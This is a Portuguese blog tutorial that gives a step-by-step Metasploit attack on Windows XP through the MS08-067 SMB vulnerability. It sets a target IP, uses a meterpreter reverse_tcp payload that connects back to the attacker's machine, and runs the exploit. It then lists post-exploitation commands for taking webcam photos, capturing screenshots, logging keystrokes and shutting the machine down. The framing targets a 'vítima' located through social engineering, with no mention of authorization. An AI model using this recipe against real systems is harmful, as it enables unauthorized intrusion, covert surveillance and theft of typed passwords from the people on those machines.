Invadindo Windows XP Metasploit

27 de abril de 2015 / s0ph0s

Hoje traremos um tutorial voltado a pentest em sistema operacional XP, mesmo estando descontinuado pela Microsoft ainda ele é muito utilizado por bancos, sistemas comerciais, entre outros serviços. Utilizaremos um exploit que explora a falha da porta smb (445) que permite uma conexão remota com a vítima. Ou seja ao conectarmos a ela teremos controle total sobre o sistema dela, a qual permite interceptar dados, enviar malwares, acessar dispositivos na rede, entre outras coisas. Estaremos utilizando o Kali Linux como exemplo mas necessita apenas baixar e instalar o Metasploit.

Primeiro abra o terminal e digite comando que irá abrir nossa Metasploit:

msfconsole

Agora setamos o nosso exploit que iremos utilizar para invasão, como citei ele explora a falha na porta SMB

use windows/smb/ms08_067_netapi

Após isso colocamos o IP de nosso alvo a qual você pode descobrir através de uma engenharia social ou ferramenta de captura de IP.

set RHOST 192.168.2.108

Setamos nosso PAYLOAD que fará a nossa interação com o a vítima.

set PAYLOAD windows/meterpreter/reverse_tcp

E o nosso IP que receberá a conexão da vítima.

set LHOST 192.168.2.103

Por último rodamos o exploit.

exploit

Quando inserir o ultimo comando automaticamente ele irá se conectar com a vítima, permitindo que você controle ela do jeito que quiser. Alguns comandos que podem ser usados durante a conexão com a vítima:

- ***webcam_snap (tira a foto pela webcam)***
- ***screenshot (tira print da tela da vítima)***
- ***keyscan_start (inicia processo de capturar teclas digitas)***
- ***keyscan_dump (mostra as teclas digitas da vítima)***
- ***shutdown -s -t 1 (desliga computador da vítima)***
- ***sysinfo (mostra a versão do sistema operacional e informações dela)***

Nota: Esse processo pode falhar se as atualizações do sistema operacional estiverem atualizadas, ou tenha algum firewall que posso bloquear essa conexão.